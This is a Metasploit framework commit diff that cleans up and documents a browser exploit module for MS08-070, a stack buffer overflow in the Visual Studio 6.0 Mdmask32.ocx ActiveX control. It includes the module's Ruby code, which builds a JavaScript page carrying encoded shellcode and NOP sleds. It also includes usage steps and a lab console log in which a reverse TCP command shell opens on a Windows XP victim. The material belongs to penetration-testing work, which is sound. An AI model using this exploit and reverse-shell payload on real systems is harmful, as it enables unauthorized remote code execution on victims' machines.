Skip to content

Commit b37b648

Browse files
authored
Land #20340, adds documentation and cleans up exploit/windows/browser/ms08_070_visual_studio_msmask
exploit/windows/browser/ms08_070_visual_studio_msmask: Cleanup and add documentation
2 parents 51e71dc + e1dec29 commit b37b648

File tree

2 files changed

+101
-32
lines changed

2 files changed

+101
-32
lines changed
Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
## Vulnerable Application
2+
3+
This module exploits a stack buffer overflow in Microsoft Visual
4+
Studio 6.0. When passing a specially crafted string to the Mask
5+
parameter of the Mdmask32.ocx ActiveX Control, an attacker may
6+
be able to execute arbitrary code.
7+
8+
9+
## Verification Steps
10+
11+
1. Start msfconsole
12+
1. Do: `use exploit/windows/browser/ms08_070_visual_studio_msmask`
13+
1. Do: `set SRVHOST [host]`
14+
1. Do: `set SRVPORT [port]`
15+
1. Do: `set URIPATH [uri]`
16+
1. Do: `set PAYLOAD [payload]`
17+
1. Do: `run`
18+
1. Open the server URL on a vulnerable system
19+
20+
21+
## Options
22+
23+
### URIPATH
24+
25+
The server URI path to use. (default: `/`)
26+
27+
28+
## Scenarios
29+
30+
### Windows XP SP3 (x86) (English)
31+
32+
```
33+
msf6 > use exploit/windows/browser/ms08_070_visual_studio_msmask
34+
[*] Using configured payload windows/shell/reverse_tcp
35+
msf6 exploit(windows/browser/ms08_070_visual_studio_msmask) > set srvhost 0.0.0.0
36+
srvhost => 0.0.0.0
37+
msf6 exploit(windows/browser/ms08_070_visual_studio_msmask) > set srvport 8080
38+
srvport => 8080
39+
msf6 exploit(windows/browser/ms08_070_visual_studio_msmask) > set lhost 192.168.200.130
40+
lhost => 192.168.200.130
41+
msf6 exploit(windows/browser/ms08_070_visual_studio_msmask) > run
42+
[*] Exploit running as background job 0.
43+
[*] Exploit completed, but no session was created.
44+
45+
[*] Started reverse TCP handler on 192.168.200.130:4444
46+
[*] Using URL: http://192.168.200.130:8080/
47+
[*] Server started.
48+
msf6 exploit(windows/browser/ms08_070_visual_studio_msmask) >
49+
[*] 192.168.200.173 ms08_070_visual_studio_msmask - Sending Microsoft Visual Studio Mdmask32.ocx ActiveX Stack Buffer Overflow
50+
[*] Sending stage (240 bytes) to 192.168.200.173
51+
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.173:1052) at 2025-06-22 03:01:18 -0400
52+
```

modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb

Lines changed: 49 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -12,40 +12,58 @@ def initialize(info = {})
1212
super(
1313
update_info(
1414
info,
15-
'Name' => 'Microsoft Visual Studio Mdmask32.ocx ActiveX Buffer Overflow',
15+
'Name' => 'Microsoft Visual Studio Mdmask32.ocx ActiveX Stack Buffer Overflow',
1616
'Description' => %q{
17-
This module exploits a stack buffer overflow in Microsoft's Visual Studio 6.0.
18-
When passing a specially crafted string to the Mask parameter of the
19-
Mdmask32.ocx ActiveX Control, an attacker may be able to execute arbitrary
20-
code.
17+
This module exploits a stack buffer overflow in Microsoft Visual
18+
Studio 6.0. When passing a specially crafted string to the Mask
19+
parameter of the Mdmask32.ocx ActiveX Control, an attacker may
20+
be able to execute arbitrary code.
2121
},
2222
'License' => MSF_LICENSE,
23-
'Author' => [ 'koshi', 'MC' ],
23+
'Author' => [
24+
'Symantec', # Discovery and PoC
25+
'koshi', # Exploit
26+
'MC' # Metasploit
27+
],
2428
'References' => [
29+
[ 'BID', '30674' ],
2530
[ 'CVE', '2008-3704' ],
31+
[ 'CWE', '119' ],
32+
[ 'EDB', '6244' ],
33+
[ 'EDB', '6317' ],
2634
[ 'OSVDB', '47475' ],
27-
[ 'BID', '30674' ],
28-
[ 'MSB', 'MS08-070' ]
35+
[ 'MSB', 'MS08-070' ],
36+
[ 'URL', 'https://exchange.xforce.ibmcloud.com/vulnerabilities/44444' ],
2937
],
3038
'DefaultOptions' => {
31-
'EXITFUNC' => 'process',
39+
'PAYLOAD' => 'windows/shell/reverse_tcp',
40+
'EXITFUNC' => 'process'
3241
},
3342
'Payload' => {
3443
'Space' => 1024,
35-
'BadChars' => "\x00",
44+
'BadChars' => "\x00"
3645
},
3746
'Platform' => 'win',
47+
'Arch' => [ARCH_X86],
3848
'Targets' => [
39-
[ 'Windows XP SP0-SP2 IE 6.0 SP0-SP2', { 'Ret' => '' } ]
49+
[
50+
'Windows XP x86 SP0-SP3 IE 6.0 SP0-SP3', {}
51+
]
4052
],
4153
'DisclosureDate' => '2008-08-13',
42-
'DefaultTarget' => 0
54+
'DefaultTarget' => 0,
55+
'Notes' => {
56+
'AKA' => ['Masked Edit Control Memory Corruption Vulnerability'],
57+
'Stability' => [CRASH_SERVICE_DOWN],
58+
'SideEffects' => [],
59+
'Reliability' => [UNRELIABLE_SESSION]
60+
}
4361
)
4462
)
4563

4664
register_options(
4765
[
48-
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
66+
OptString.new('URIPATH', [ true, 'The server URI path to use.', '/' ])
4967
]
5068
)
5169
end
@@ -58,33 +76,32 @@ def check_dependencies
5876
use_zlib
5977
end
6078

61-
def on_request_uri(cli, request)
79+
def on_request_uri(cli, _request)
6280
# Re-generate the payload.
63-
return if ((p = regenerate_payload(cli)) == nil)
81+
return if ((regenerate_payload(cli)).nil?)
6482

6583
# Encode the shellcode.
6684
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
6785

6886
# Create some nops.
6987
nops = Rex::Text.to_unescape(make_nops(4))
7088

71-
# Randomize the javascript variable names.
72-
vname = rand_text_alpha(rand(100) + 1)
73-
var_i = rand_text_alpha(rand(30) + 2)
74-
rand1 = rand_text_alpha(rand(100) + 1)
75-
rand2 = rand_text_alpha(rand(100) + 1)
76-
rand3 = rand_text_alpha(rand(100) + 1)
77-
rand4 = rand_text_alpha(rand(100) + 1)
78-
rand5 = rand_text_alpha(rand(100) + 1)
79-
rand6 = rand_text_alpha(rand(100) + 1)
80-
rand7 = rand_text_alpha(rand(100) + 1)
81-
rand8 = rand_text_alpha(rand(100) + 1)
82-
rand9 = rand_text_alpha(rand(100) + 1)
83-
rand10 = rand_text_alpha(rand(100) + 1)
84-
rand11 = rand_text_alpha(rand(100) + 1)
85-
randnop = rand_text_alpha(rand(100) + 1)
89+
# Randomize the JavaScript variable names.
90+
var_i = rand_text_alpha(2..30)
91+
rand1 = rand_text_alpha(1..100)
92+
rand2 = rand_text_alpha(1..100)
93+
rand3 = rand_text_alpha(1..100)
94+
rand4 = rand_text_alpha(1..100)
95+
rand5 = rand_text_alpha(1..100)
96+
rand6 = rand_text_alpha(1..100)
97+
rand7 = rand_text_alpha(1..100)
98+
rand8 = rand_text_alpha(1..100)
99+
rand9 = rand_text_alpha(1..100)
100+
rand10 = rand_text_alpha(1..100)
101+
rand11 = rand_text_alpha(1..100)
102+
randnop = rand_text_alpha(1..100)
86103

87-
content = %Q|
104+
content = %|
88105
<html>
89106
<script language="javascript">
90107
var #{rand1}='<object classid="clsid:C932BA85-4374-101B-A56C-00AA003668DC"><param name="Mask" value="';
@@ -110,7 +127,7 @@ def on_request_uri(cli, request)
110127
</html>
111128
|
112129

113-
print_status("Sending #{self.name}")
130+
print_status("Sending #{name}")
114131

115132
# Transmit the response to the client
116133
send_response_html(cli, content)

0 commit comments

Comments
 (0)